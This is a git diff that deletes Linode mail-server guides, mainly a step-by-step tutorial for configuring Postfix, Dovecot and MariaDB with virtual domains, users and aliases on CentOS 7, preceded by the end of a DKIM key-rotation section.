Exchange format as defined by [RFC 5070](https://www.ietf.org/rfc/rfc5070.txt). - -## Key rotation - -The reason the `YYYYMM` format is used for the selector is that best practice calls for changing the DKIM signing keys every so often. Changing the keys monthly is recommended, and no longer than every 6 months. To do that without disrupting messages in transit, you generate the new keys using a new selector. The process is: - -1. Generate new keys as in step 8 of [Configure OpenDKIM](#configure-opendkim). Do this in a scratch directory, not directly in `/etc/opendkim/keys`. Use the current year and month for the YYYYMM selector value, so it's different from the selector currently in use. - -2. Use the newly-generated `.txt` files to add the new keys to DNS as in the DKIM [Set Up DNS](#set-up-dns) section, using the new YYYYMM selector in the host names. Don't remove or alter the existing DKIM TXT records. Once this is done, verify the new key data using the following command (replacing example.com, example and YYYYMM with the appropriate values): - - opendkim-testkey -d example.com -s YYYYMM -k example.private - - Add the `-vvv` switch to get debugging output if you need it to diagnose any problems. Correct any problems before proceeding. Use of the new private key file and selector when `opendkim-testkey` doesn't indicate a successful verification. It causes problems with your email including non-receipt of messages. - -3. Stop Postfix and OpenDKIM with `systemctl stop postfix opendkim` so that they do not process mail while you're changing out keys. - -4. Copy the newly-generated `.private` files into place and make sure their ownership and permissions are correct by running these commands from the directory in which you generated the key files: - - cp *.private /etc/opendkim/keys/ - chown opendkim:opendkim /etc/opendkim/keys/* - chmod go-rw /etc/opendkim/keys/* - - Use the `opendkim-testkey` command as described above to ensure that your new record is propagated before you continue. - -5. Edit `/etc/opendkim/key.table` and change the old YYYYMM values to the new selector, reflecting the current year and month. Save the file. - -6. Restart OpenDKIM and Postfix by: - - systemctl start opendkim - systemctl start postfix - - Make sure they both start without any errors. - -7. After a couple of weeks, all email in transit should either have been delivered or bounced and the old DKIM key information in DNS is not needed anymore. Delete the old `YYYYMM._domainkey` TXT records in each of your domains, leaving just the newest ones (most recent year and month). Don't worry if you forget and leave the old keys around longer than planned. There's no security issue. Removing the obsolete records is more a matter of keeping things neat and tidy than anything else. - -## Handling Spam With SPF and DKIM Configuration With Postfix On Debian 9 -You can use SpamAssassin to battle incoming spam on your system. - -You can install it by running: - - apt-get install spamassassin spamc - -In the `master.cf` file, add the `content_filter` argument to the following services submission `smtp`, and `smtps`: - - content_filter=spamassassion diff --git a/docs/guides/email/postfix/email-with-postfix-dovecot-and-mariadb-on-centos-7/index.md b/docs/guides/email/postfix/email-with-postfix-dovecot-and-mariadb-on-centos-7/index.md deleted file mode 100644 index 1fcde7150c5..00000000000 --- a/docs/guides/email/postfix/email-with-postfix-dovecot-and-mariadb-on-centos-7/index.md +++ /dev/null @@ -1,859 +0,0 @@ ---- -slug: email-with-postfix-dovecot-and-mariadb-on-centos-7 -title: 'Email with Postfix, Dovecot and MariaDB on CentOS 7' -description: 'This guide provides you with step-by-step instructions for installing the Postfix MTA along with the Dovecot mail server and MariaDB on CentOS.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2015-03-26 -modified: 2018-10-10 -keywords: ["postfix centos 7", "dovecot centos 7", "linux mail server", "email", "centos 7"] -tags: ["centos","postfix","email","mariadb"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/email/postfix/email-with-postfix-dovecot-and-mariadb-on-centos-7/','/email/postfix/email-with-postfix-dovecot-and-mysql-on-centos-7/'] -external_resources: - - '[Troubleshooting Problems with Postfix, Dovecot, and MySQL](/cloud/guides/troubleshooting-problems-with-postfix-dovecot-and-mysql/)' - - '[Postfix Basic Configuration](http://www.postfix.org/BASIC_CONFIGURATION_README.html)' - - '[Postfix SASL Howto](http://www.postfix.org/SASL_README.html)' - - '[Dovecot Wiki](https://wiki2.dovecot.org/)' ---- - -In this guide, you'll learn how to set up a secure virtual user mail server with Postfix, Dovecot, and MariaDB (a drop-in replacement for MySQL) on CentOS 7. We'll explain how to create new user mailboxes and send or receive email to and from configured domains. - -![Email with Postfix, Dovecot and MariaDB on CentOS 7](Email_with_Postfix_Dovecot_and_MariaDB_on_CentOS_7_smg.jpg) - -For a different Linux distribution or different mail server, review our [email tutorials](/cloud/guides/email/). - -{{% content "email-warning-shortguide" %}} - -## Before You Begin - -1. Set up the Linode as specified in the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) and [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -1. Verify that the iptables [firewall](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-firewall) is not blocking any of the standard mail ports (`25`, `465`, `587`, `110`, `995`, `143`, and `993`). If using a different form of firewall, confirm that it is not blocking any of the needed ports. - -1. Review the concepts in the [Running a Mail Server](/cloud/guides/running-a-mail-server/) guide. - -## Configure DNS - -When you're ready to update the DNS and start sending mail to the server, edit the domain's MX record so that it points to the Linode's domain or IP address, similar to the example below: - -{{< output >}} -example.com A 10 12.34.56.78 -example.com MX 10 example.com -mail.example.com MX 10 example.com -{{< /output >}} - -Make sure that the MX record is changed for all domains and subdomains that might receive email. If setting up a brand new domain, these steps can be performed prior to configuring the mail server. When using Linode's [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager), create an MX record that points to the desired domain or subdomain, and then create an A record for that domain or subdomain, which points to the correct IP address. - -## Update Hosts File - -Verify that the `hosts` file contains a line for the Linode's public IP address and is associated with the **Fully Qualified Domain Name** (FQDN). In the example below, `192.0.2.0` is the public IP address, `hostname` is the local hostname, and `hostname.example.com` is the FQDN. - -{{< file "/etc/hosts" h >}} -127.0.0.1 localhost.localdomain localhost -192.0.2.0 hostname.example.com hostname - -{{< /file >}} - -## Install SSL Certificate - -You will need to install a SSL certificate on your mail server prior to completing the [Dovecot](#dovecot) configuration steps. The SSL certificate will authenticate the identity of the mail server to users and encrypt the transmitted data between the user's mail client and the mail server. - -{{% content "certbot-shortguide-centos" %}} - -Make a note of the certificate and key locations on the Linode. You will need the path to each during the [Dovecot](#dovecot) configuration steps. - -## Install Required Packages - -1. Install any outstanding package updates: - - yum update - -1. Install the required packages: - - yum install postfix dovecot mariadb-server dovecot-mysql - - This installs the Postfix mail server, the MariaDB database server, the Dovecot IMAP and POP daemons, and several supporting packages that provide services related to authentication. - -### Versions - -This guide uses the following package versions: - -* Postfix 2.10.1 -* Dovecot 2.2.10 -* MariaDB 5.5.60 - -## MariaDB - -In this section you will set up a MariaDB database to store virtual domains, users and passwords. Dovecot and Postfix require this data. - -### Creating the Database and Tables - -Follow the steps below to create the database tables for virtual users, domains and aliases: - -1. Ensure the MariaDb server is running and enabled to start automatically on reboot: - - sudo systemctl start mariadb - sudo systemctl enable mariadb - -1. Use the [*mysql_secure_installation*](https://mariadb.com/kb/en/library/mysql_secure_installation/) tool to configure additional security options. You will be given the choice to change the MariaDB root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases. It is recommended that you answer `yes` to these options. You can read more about the script in the [MariaDB Knowledge Base](https://mariadb.com/kb/en/mariadb/mysql_secure_installation/). - - sudo mysql_secure_installation - -1. Create a new database: - - sudo mysqladmin -u root -p create mailserver - -1. Log in to MySQL: - - sudo mysql -u root -p - -1. Create the MySQL user and grant the new user permissions over the database. Replace `mailuserpass` with a secure password: - - GRANT SELECT ON mailserver.* TO 'mailuser'@'127.0.0.1' IDENTIFIED BY 'mailuserpass'; - -1. Flush the MySQL privileges to apply the change: - - FLUSH PRIVILEGES; - -1. Switch to the new `mailsever` database: - - USE mailserver; - -1. Create a table for the domains that will receive mail on the Linode: - - CREATE TABLE `virtual_domains` ( - `id` int(11) NOT NULL auto_increment, - `name` varchar(50) NOT NULL, - PRIMARY KEY (`id`) - ) ENGINE=InnoDB DEFAULT CHARSET=utf8; - -1. Create a table for all of the email addresses and passwords: - - CREATE TABLE `virtual_users` ( - `id` int(11) NOT NULL auto_increment, - `domain_id` int(11) NOT NULL, - `password` varchar(106) NOT NULL, - `email` varchar(100) NOT NULL, - PRIMARY KEY (`id`), - UNIQUE KEY `email` (`email`), - FOREIGN KEY (domain_id) REFERENCES virtual_domains(id) ON DELETE CASCADE - ) ENGINE=InnoDB DEFAULT CHARSET=utf8; - -1. Create a table for the email aliases: - - CREATE TABLE `virtual_aliases` ( - `id` int(11) NOT NULL auto_increment, - `domain_id` int(11) NOT NULL, - `source` varchar(100) NOT NULL, - `destination` varchar(100) NOT NULL, - PRIMARY KEY (`id`), - FOREIGN KEY (domain_id) REFERENCES virtual_domains(id) ON DELETE CASCADE - ) ENGINE=InnoDB DEFAULT CHARSET=utf8; - -### Adding Data - -You can now add data to the database and tables that were created in the previous section. - -1. Add the domains to the `virtual_domains` table. Replace the values for `example.com` and `hostname` with your own settings: - - INSERT INTO `mailserver`.`virtual_domains` - (`id` ,`name`) - VALUES - ('1', 'example.com'), - ('2', 'hostname.example.com'), - ('3', 'hostname'), - ('4', 'localhost.example.com'); - - {{< note respectIndent=false >}} -Note which `id` corresponds to which domain, the `id` value is necessary for the next two steps. -{{< /note >}} - -1. Add email addresses to the `virtual_users` table. The `domain_id` value references the `virtual_domain` table's `id` value. Replace the email address values with the addresses that you wish to configure on the mailserver. Replace the `password` values with strong passwords. - - INSERT INTO `mailserver`.`virtual_users` - (`id`, `domain_id`, `password` , `email`) - VALUES - ('1', '1', ENCRYPT('password', CONCAT('$6$', SUBSTRING(SHA(RAND()), -16))), 'email1@example.com'), - ('2', '1', ENCRYPT('password', CONCAT('$6$', SUBSTRING(SHA(RAND()), -16))), 'email2@example.com'); - -1. An email alias will forward all email from one email address to another. To set up an email alias, add it to the `virtual_aliases` table: - - INSERT INTO `mailserver`.`virtual_aliases` - (`id`, `domain_id`, `source`, `destination`) - VALUES - ('1', '1', 'alias@example.com', 'email1@example.com'); - -### Testing - -In the previous section, data was added to the MySQL `mailserver` database. The steps below will test that the data has been stored and can be retrieved. - -1. Log in to MySQL: - - sudo mysql -u root -p - -1. Check the contents of the `virtual_domains` table: - - SELECT * FROM mailserver.virtual_domains; - -1. Verify that the output displays the domains you add to the `virtual_domains` table: - - {{< output >}} -+----+-----------------------+ -| id | name | -+----+-----------------------+ -| 1 | example.com | -| 2 | hostname.example.com | -| 3 | hostname | -| 4 | localhost.example.com | -+----+-----------------------+ -4 rows in set (0.00 sec) -{{}} - -1. Check the `virtual_users` table: - - SELECT * FROM mailserver.virtual_users; - -1. Verify that the output displays the email addresses you added to the `virutal_users` table. Your hashed passwords will appear longer than they are displayed below: - - {{< output >}} -+----+-----------+-------------------------------------+--------------------+ -| id | domain_id | password | email | -+----+-----------+-------------------------------------+--------------------+ -| 1 | 1 | $6$574ef443973a5529c20616ab7c6828f7 | email1@example.com | -| 2 | 1 | $6$030fa94bcfc6554023a9aad90a8c9ca1 | email2@example.com | -+----+-----------+-------------------------------------+--------------------+ -2 rows in set (0.01 sec) -{{}} - -1. Check the `virtual_aliases` table: - - SELECT * FROM mailserver.virtual_aliases; - -1. Verify that the output displays the aliases you added to the `virtual_aliases` table: - - {{< output >}} -+----+-----------+-------------------+--------------------+ -| id | domain_id | source | destination | -+----+-----------+-------------------+--------------------+ -| 1 | 1 | alias@example.com | email1@example.com | -+----+-----------+-------------------+--------------------+ -1 row in set (0.00 sec) -{{}} - -1. If all the desired data displays as expected, exit MySQL: - - exit - -## Postfix - -Postfix is a *Mail Transfer Agent* (MTA) that relays mail between the Linode and the internet. It is highly configurable, allowing for great flexibility. This guide maintains many of Posfix's default configuration values. - -### Configuration File Settings - -The `main.cf` file is the primary configuration file used by Postfix. - -1. Make a copy of the default Postfix configuration file in case you need to revert to the default configuration: - - sudo cp /etc/postfix/main.cf /etc/postfix/main.cf.orig - -1. Edit the `/etc/postfix/main.cf` file to match the example configurations. Replace occurrences of `example.com` with your domain name: - - {{< file "/etc/postfix/main.cf" >}} -# See /usr/share/postfix/main.cf.dist for a commented, more complete version - -# Debian specific: Specifying a file name will cause the first -# line of that file to be used as the name. The Debian default -# is /etc/mailname. -#myorigin = /etc/mailname - -smtpd_banner = $myhostname ESMTP $mail_name (CentOS) -biff = no - -# appending .domain is the MUA's job. -append_dot_mydomain = no - -# Uncomment the next line to generate "delayed mail" warnings -#delay_warning_time = 4h - -readme_directory = no - -# TLS parameters -smtpd_tls_cert_file=/etc/letsencrypt/live/example.com/fullchain.pem -smtpd_tls_key_file=/etc/letsencrypt/live/example.com/privkey.pem -smtpd_use_tls=yes -smtpd_tls_auth_only = yes -smtp_tls_security_level = may -smtpd_tls_security_level = may -smtpd_sasl_security_options = noanonymous, noplaintext -smtpd_sasl_tls_security_options = noanonymous - -# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for -# information on enabling SSL in the smtp client. -smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination -myhostname = example.com -alias_maps = hash:/etc/aliases -alias_database = hash:/etc/aliases -mydomain = example.com -myorigin = $mydomain -mydestination = localhost, localhost.$mydomain -relayhost = -mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 -mailbox_size_limit = 0 -recipient_delimiter = + -inet_interfaces = all -inet_protocols = all - -# Handing off local delivery to Dovecot's LMTP, and telling it where to store mail -virtual_transport = lmtp:unix:private/dovecot-lmtp - -# Virtual domains, users, and aliases -virtual_mailbox_domains = mysql:/etc/postfix/mysql-virtual-mailbox-domains.cf -virtual_mailbox_maps = mysql:/etc/postfix/mysql-virtual-mailbox-maps.cf -virtual_alias_maps = mysql:/etc/postfix/mysql-virtual-alias-maps.cf, - mysql:/etc/postfix/mysql-virtual-email2email.cf - -{{< /file >}} - -1. The `main.cf` file declares the location of `virtual_mailbox_domains`, `virtual_mailbox_maps`, `virtual_alias_maps`, and `mysql-virtual-email2email` files. These files contain the connection information for the MySQL lookup tables created in the [MariaDB](#mariadb) section of this guide. Postfix will use this data to identify all domains, corresponding mailboxes, and valid users. - - Create the file for `virtual_mailbox_domains`. Replace the value for `password` with your database user's password. This password was created in the [Creating the Database and Tables](#creating-the-database-and-tables) section. If you used a different name for your database `user` and `dbname` replace those with your own values: - - {{< file "/etc/postfix/mysql-virtual-mailbox-domains.cf" >}} -user = mailuser -password = mailuserpass -hosts = 127.0.0.1 -dbname = mailserver -query = SELECT 1 FROM virtual_domains WHERE name='%s' - -{{< /file >}} - -1. Create the `/etc/postfix/mysql-virtual-mailbox-maps.cf` file, and enter the following values. Use the database user's password and make any other changes as needed: - - {{< file "/etc/postfix/mysql-virtual-mailbox-maps.cf" >}} -user = mailuser -password = mailuserpass -hosts = 127.0.0.1 -dbname = mailserver -query = SELECT 1 FROM virtual_users WHERE email='%s' - -{{< /file >}} - -1. Create the `/etc/postfix/mysql-virtual-alias-maps.cf` file and enter the following values. Use the database user's password and make any other changes as needed: - - {{< file "/etc/postfix/mysql-virtual-alias-maps.cf" >}} -user = mailuser -password = mailuserpass -hosts = 127.0.0.1 -dbname = mailserver -query = SELECT destination FROM virtual_aliases WHERE source='%s' - -{{< /file >}} - -1. Create the `/etc/postfix/mysql-virtual-email2email.cf` file and enter the following values. Use the database user's password and make any other changes as needed: - - {{< file "/etc/postfix/mysql-virtual-email2email.cf" >}} -user = mailuser -password = mailuserpass -hosts = 127.0.0.1 -dbname = mailserver -query = SELECT email FROM virtual_users WHERE email='%s' - -{{< /file >}} - -1. Restart Postfix: - - sudo systemctl restart postfix - -1. The `postmap` command creates or queries Postfix's lookup tables, or updates an existing one. Enter the following command to ensure that Postfix can query the `virtual_domains` table. Replace `example.com` with the first `name` value. The command should return `1` if it is successful: - - sudo postmap -q example.com mysql:/etc/postfix/mysql-virtual-mailbox-domains.cf - -1. Test Postfix to verify that it can retrieve the first email address from the MySQL table `virtual_users`. Replace `email1@example.com` with the first email address added to the table. You should receive `1` as the output: - - sudo postmap -q email1@example.com mysql:/etc/postfix/mysql-virtual-mailbox-maps.cf - - Verify that Postfix can retrieve the first email address from the MySQL table `virtual_users` using the database values entered in the `mysql-virtual-mailbox-maps.cf` file. Replace `email1@example.com` with the first email address added to the table. You should receive `1` as the output: - - sudo postmap -q alias@example.com mysql:/etc/postfix/mysql-virtual-email2email.cf - -1. Test Postfix to verify that it can query the `virtual_aliases` table. Replace `alias@example.com` with the first `source` value created in the table. The command should return the `destination` value for the row: - - sudo postmap -q alias@example.com mysql:/etc/postfix/mysql-virtual-alias-maps.cf - -### Master Program Settings - -Postfix's master program starts and monitors all of Postfix's processes. The configuration file `master.cf` lists all programs and information on how they should be started. - -1. Make a copy of the `/etc/postfix/master.cf` file: - - sudo cp /etc/postfix/master.cf /etc/postfix/master.cf.orig - -1. Edit `/etc/postfix/master.cf` to contain the values in the excerpt example. The rest of the file can remain unchanged: - - {{< file "/etc/postfix/master.cf" >}} -# -# Postfix master process configuration file. For details on the format -# of the file, see the master(5) manual page (command: "man 5 master" or -# on-line: http://www.postfix.org/master.5.html). -# -# Do not forget to execute "postfix reload" after editing this file. -# -# ========================================================================== -# service type private unpriv chroot wakeup maxproc command + args -# (yes) (yes) (yes) (never) (100) -# ========================================================================== -smtp inet n - n - - smtpd -#smtp inet n - - - 1 postscreen -#smtpd pass - - - - - smtpd -#dnsblog unix - - - - 0 dnsblog -#tlsproxy unix - - - - 0 tlsproxy -submission inet n - - - - smtpd - -o syslog_name=postfix/submission - -o smtpd_tls_security_level=encrypt - -o smtpd_sasl_auth_enable=yes - -o smtpd_sasl_type=dovecot - -o smtpd_sasl_path=private/auth - -o smtpd_reject_unlisted_recipient=no - -o smtpd_client_restrictions=permit_sasl_authenticated,reject - -o milter_macro_daemon_name=ORIGINATING -smtps inet n - - - - smtpd - -o syslog_name=postfix/smtps - -o smtpd_tls_wrappermode=yes - -o smtpd_sasl_auth_enable=yes - -o smtpd_sasl_type=dovecot - -o smtpd_sasl_path=private/auth - -o smtpd_client_restrictions=permit_sasl_authenticated,reject - -o milter_macro_daemon_name=ORIGINATING - ... - -{{< /file >}} - -1. Change the permissions of the `/etc/postfix` directory to restrict permissions to allow only its owner and the corresponding group: - - sudo chmod -R o-rwx /etc/postfix - -1. Restart Postfix: - - sudo systemctl restart postfix - - If you get the `fatal: 0.0.0.0:smtps: Servname not supported for ai_socktype` error after restarting Postfix, add following service entries to `/etc/services`: - - {{< file "/etc/services">}} -smtps 465/tcp # Secure SMTP -smtps 465/udp # Secure SMTP -{{< /file >}} - -## Dovecot - -Dovecot is the *Mail Delivery Agent* (MDA) which is passed messages from Postfix and delivers them to a virtual mailbox. In this section, configure Dovecot to force users to use SSL when they connect so that their passwords are never sent to the server in plain text. - -1. Copy all of the configuration files so you can easily revert back to them if needed: - - sudo cp /etc/dovecot/dovecot.conf /etc/dovecot/dovecot.conf.orig - sudo cp /etc/dovecot/conf.d/10-mail.conf /etc/dovecot/conf.d/10-mail.conf.orig - sudo cp /etc/dovecot/conf.d/10-auth.conf /etc/dovecot/conf.d/10-auth.conf.orig - sudo cp /etc/dovecot/conf.d/auth-sql.conf.ext /etc/dovecot/conf.d/auth-sql.conf.ext.orig - sudo cp /etc/dovecot/conf.d/10-master.conf /etc/dovecot/conf.d/10-master.conf.orig - sudo cp /etc/dovecot/conf.d/10-ssl.conf /etc/dovecot/conf.d/10-ssl.conf.orig - -1. Edit the `/etc/dovecot/dovecot.conf` file. Uncomment `protocols = imap pop3 lmtp` in the `# Protocols we want to be serving.` section of the file: - - {{< file "/etc/dovecot/dovecot.conf" >}} -## Dovecot configuration file -... -# Protocols we want to be serving. -protocols = imap pop3 lmtp - -{{< /file >}} - -1. Edit the `/etc/dovecot/conf.d/10-mail.conf` file. This file controls how Dovecot interacts with the server's file system to store and retrieve messages. - - Modify the following variables within the configuration file: - - {{< file "/etc/dovecot/conf.d/10-mail.conf" >}} -... -mail_location = maildir:/var/mail/vhosts/%d/%n -... -mail_privileged_group = mail -... -{{< /file >}} - -1. Create the `/var/mail/vhosts/` directory and a subdirectory for your domain. Replace `example.com` with your domain name: - - sudo mkdir -p /var/mail/vhosts/example.com - - This directory will serve as storage for mail sent to your domain. - -1. Create the `vmail` group with ID `5000`. Add a new user `vmail` to the `vmail` group. This system user will read mail from the server. - - sudo groupadd -g 5000 vmail - sudo useradd -g vmail -u 5000 vmail -d /var/mail/ - -1. Change the owner of the `/var/mail/` folder and its contents to belong to `vmail`: - - sudo chown -R vmail:vmail /var/mail/ - -1. Edit the user authentication file, located in `/etc/dovecot/conf.d/10-auth.conf`. Uncomment the following variables and replace with the file excerpt's example values: - - {{< file "/etc/dovecot/conf.d/10-auth.conf" >}} -... -disable_plaintext_auth = yes -... -auth_mechanisms = plain login -... -!include auth-system.conf.ext -... -!include auth-sql.conf.ext -... - -{{< /file >}} - -1. Edit the `/etc/dovecot/conf.d/auth-sql.conf.ext` file with authentication and storage information. Ensure your file contains the following lines and that they are uncommented: - - {{< file "/etc/dovecot/conf.d/auth-sql.conf.ext" >}} -... -passdb { - driver = sql - args = /etc/dovecot/dovecot-sql.conf.ext -} -... -userdb { - driver = static - args = uid=vmail gid=vmail home=/var/mail/vhosts/%d/%n -} -... - -{{< /file >}} - -1. Create the `/etc/dovecot/dovecot-sql.conf.ext` file and update it with your MySQL connection information. Add the following variables and replace the values with the excerpt example. Replace `dbname`, `user` and `password` with your own MySQL database values: - - {{< file "/etc/dovecot/dovecot-sql.conf.ext" >}} -driver = mysql -connect = host=127.0.0.1 dbname=mailserver user=mailuser password=mailuserpass -default_pass_scheme = SHA512-CRYPT -password_query = SELECT email as user, password FROM virtual_users WHERE email='%u'; -{{< /file >}} - - The `password_query` variable uses email addresses listed in the `virtual_users` table as the username credential for an email account. - - To use an alias as the username: - - 1. Add the alias as the `source` and `destination` email address to the `virtual_aliases` table. - 1. Change the `/etc/dovecot/dovecot-sql.conf.ext` file's `password_query` value to `password_query = SELECT email as user, password FROM virtual_users WHERE email=(SELECT destination FROM virtual_aliases WHERE source = '%u');` - -1. Change the owner and group of the `/etc/dovecot/` directory to `vmail` and `dovecot`: - - sudo chown -R vmail:dovecot /etc/dovecot - -1. Change the permissions on the `/etc/dovecot/` directory to be recursively read, write, and execute for the owner of the directory: - - sudo chmod -R o-rwx /etc/dovecot - -1. Edit the service settings file `/etc/dovecot/conf.d/10-master.conf`: - - {{< note respectIndent=false >}} -When editing the file, be careful not to remove any opening or closing curly braces. If there's a syntax error, Dovecot will crash silently. You can check `/var/log/upstart/dovecot.log` to debug the error. -{{< /note >}} - - Disable unencrypted IMAP and POP3 by setting the protocols' ports to `0`. Uncomment the `port` and `ssl` variables: - - {{< file "/etc/dovecot/conf.d/10-master.conf" >}} -... -service imap-login { - inet_listener imap { - port = 0 - } - inet_listener imaps { - port = 993 - ssl = yes - } - ... -} -... -service pop3-login { - inet_listener pop3 { - port = 0 - } - inet_listener pop3s { - port = 995 - ssl = yes - } -} -... -{{< /file >}} - - Find the `service lmtp` section of the file and use the configuration shown below: - - {{< file "/etc/dovecot/conf.d/10-master.conf" >}} -... -service lmtp { - unix_listener /var/spool/postfix/private/dovecot-lmtp { - #mode = 0666i - mode = 0600 - user = postfix - group = postfix - } -... -} -{{< /file >}} - - - Locate `service auth` and configure it as shown below: - - {{< file "/etc/dovecot/conf.d/10-master.conf" >}} -... -service auth { - ... - unix_listener /var/spool/postfix/private/auth { - mode = 0660 - user = postfix - group = postfix - } - - unix_listener auth-userdb { - mode = 0600 - user = vmail - } -... - user = dovecot -} -... - -{{< /file >}} - - - In the `service auth-worker` section, uncomment the `user` line and set it to `vmail`: - - {{< file "/etc/dovecot/conf.d/10-master.conf" >}} -... -service auth-worker { - ... - user = vmail -} - -{{< /file >}} - - - Save the changes to the `/etc/dovecot/conf.d/10-master.conf` file. - -1. Edit `/etc/dovecot/conf.d/10-ssl.conf` file to require SSL and to add the location of your domain's SSL certificate and key. Replace `example.com` with your domain: - - {{< file "/etc/dovecot/conf.d/10-ssl.conf" >}} -... -# SSL/TLS support: yes, no, required. -ssl = required -... -ssl_cert = }} - -1. Restart Dovecot to enable all configurations: - - sudo systemctl restart dovecot - -## Test Your Configuration -{{< note >}} -Given the possibility of hosting a large number of virtual domains on a single mail system, the username portion of an email address (i.e. before the `@` sign) is not sufficient to authenticate to the mail server. When email users authenticate to the server, they must supply their email clients with the *entire* email address created above as their username. -{{< /note >}} - -1. Prior to accessing any newly-created email account, a test message needs to be sent to create that user's mailbox (replace `email1@example.com` with an address that you have configured in your database): - - yum install mailx - mail email1@example.com - - Enter a subject and message (optional), then press `Ctrl+D` to complete and send the message. - - -1. After the test mail is sent, check `/var/log/maillog` to make sure the mail was delivered. - - tail /var/log/maillog - - At the end of the file, you should see something similar to the following: - - {{< file "/var/log/maillog" >}} -Mar 18 17:18:47 localhost postfix/cleanup[3427]: B624062FA: message-id=<20150318171847.B624062FA@example.com> -Mar 18 17:18:47 localhost postfix/qmgr[3410]: B624062FA: from=, size=515, nrcpt=1 (queue active) -Mar 18 17:18:47 localhost postfix/pipe[3435]: B624062FA: to=, relay=dovecot, delay=0.14, delays=0.04/0.01/0/0.09, dsn=2.0.0, $ -Mar 18 17:18:47 localhost postfix/qmgr[3410]: B624062FA: removed - -{{< /file >}} - -1. Now you can test to see what the users of your email server would see with their email clients. To test the `email1@example.com` mailbox, navigate to the mailbox directory `/var/mail/vhosts/example.com/email1` and issue the following command: - - find - -1. You should see output similar to the following: - - . - ./dovecot-uidvalidity - ./new - ./maildirfolder - ./dovecot.index.cache - ./cur - ./cur/1539202420.M440788P27259.mail,S=450,W=465:2,S - ./dovecot.index.log - ./dovecot-uidlist - ./dovecot-uidvalidity.5bbe5d50 - ./tmp - -1. Test the mailbox by using a simple mail client. For this test, using [**mutt**](http://www.mutt.org/) is recommended. If it is not installed by default, install it with `yum install mutt`, then run: - - sudo mutt -f . - - You may be prompted to create the root mailbox. This is not required. - -1. If there is an email in the inbox, Postfix, Dovecot, and MySQL have been successfully configured! To quit mutt press `q`. - - ![Your mailbox is working!](postfixcentos-mutt.png) - -## Email Client - -You can set up an email client to connect to your mail server. Many clients detect server settings automatically. Manual configuration requires the following parameters: - -- **Username:** The full email address, including the `@example.com` part. -- **Password:** The password that was entered for the email address in the `virtual_users` table of the `mailuser` database. -- **Server name:** The incoming and outgoing server names must be a domain that resolves to the Linode. -- **SSL:** Incoming and outgoing servers require authentication and SSL encryption. -- **Ports:** Use Port `993` for secure IMAP, Port `995` for secure POP3, and Port `587` with SSL for SMTP. - -See [Install SquirrelMail on Ubuntu 16.04](/cloud/guides/install-squirrelmail-on-ubuntu-16-04-or-debian-8/) for details on installing an email client. - -## Adding New Domains, Email Addresses, and Aliases - -To add new domains, email addresses, and aliases to the mailserver you will need to update the corresponding MySQL tables created in the [MySQL](#mysql) section of this guide. - -### Domains - -1. To add a new domain, [connect to your Linode via SSH](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#connect-to-the-instance). - -1. Log in to the MySQL server: - - sudo mysql -u root - -1. Enter the root MySQL password when prompted. - -1. View the contents of the table before adding new entries. If you did not use `virtual_domains` as the name of your domain table, replace the value: - - SELECT * FROM mailserver.virtual_domains; - -1. The output should resemble the following: - - {{< output >}} - +----+-----------------------+ - | id | name | - +----+-----------------------+ - | 1 | example.com | - | 2 | hostname.example.com | - | 3 | hostname | - | 4 | localhost.example.com | - +----+-----------------------+ -{{}} - -1. Add a new domain to the table. Replace `newdomain.com` with the desired domain name: - - INSERT INTO `mailserver`.`virtual_domains` - (`name`) - VALUES - ('newdomain.com'); - -1. Verify that the new domain has been added. The output should display the new domain name. - - SELECT * FROM mailserver.virtual_domains; - -1. Exit MySQL: - - quit - -### Email Addresses - -1. Log in to the MySQL server: - - sudo mysql -u root - - When prompted enter the MySQL password. - -1. Verify the contents of the user table. Replace `virtual_users` with your table name: - - SELECT * FROM mailserver.virtual_users; - - The output should resemble the following: - - {{< output >}} -+----+-----------+-------------------------------------+--------------------+ -| id | domain_id | password | email | -+----+-----------+-------------------------------------+--------------------+ -| 1 | 1 | $6$574ef443973a5529c20616ab7c6828f7 | email1@example.com | -| 2 | 1 | $6$030fa94bcfc6554023a9aad90a8c9ca1 | email2@example.com | -+----+-----------+-------------------------------------+--------------------+ -2 rows in set (0.01 sec) -{{}} - -1. Add a new email address to the existing table. Replace `newpassword` with the user's password, and `email3@newdomain.com` with the user's email address: - - INSERT INTO `mailserver`.`virtual_users` - (`domain_id`, `password` , `email`) - VALUES - ('5', ENCRYPT('newpassword', CONCAT('$6$', SUBSTRING(SHA(RAND()), -16))) , 'email3@newdomain.com'); - - {{< note respectIndent=false >}} -The `domain_id` should correspond to the `id` value of the domain in the `virtual_domains` table. In the example, we are creating an email address for `newdomain.com` added in the previous section. -{{< /note >}} - -1. Verify that the new email address has been added. The new email address should be displayed in the output: - - SELECT * FROM mailserver.virtual_users; - -1. Exit MySQL: - - quit - -### Aliases - -1. Log in to the MySQL server: - - sudo mysql -u root - - When prompted enter the MySQL password. - -1. Verify the contents of the user table. Replace `virtual_users` with your table name: - - SELECT * FROM mailserver.virtual_aliases; - - The output should resemble the following: - - {{< output>}} -+----+-----------+-------------------+--------------------+ -| id | domain_id | source | destination | -+----+-----------+-------------------+--------------------+ -| 1 | 1 | alias@example.com | email1@example.com | -+----+-----------+-------------------+--------------------+ -1 row in set (0.00 sec) -{{}} - -1. Add a new alias. Replace `alias@newdomain.com` with the address to forward email from, and `email1@gmail.com` with the address that you want to forward the mail to. The `alias@newdomain.com` needs to be an email address that already exists on the mail server: - - INSERT INTO `mailserver`.`virtual_aliases` - (`domain_id`, `source`, `destination`) - VALUES - ('5', 'alias@newdomain.com', 'myemail@gmail.com'); - - {{< note respectIndent=false >}} -The `domain_id` should correspond to the `id` value of the domain in the `virtual_domains` table. In the example, we are creating an email address for `newdomain.com` added in the previous section. -{{< /note >}} - - You can create a "catch-all" alias which will forward all emails sent to the matching domain that does not have matching aliases or users. Replace `@newdomain.com` with your 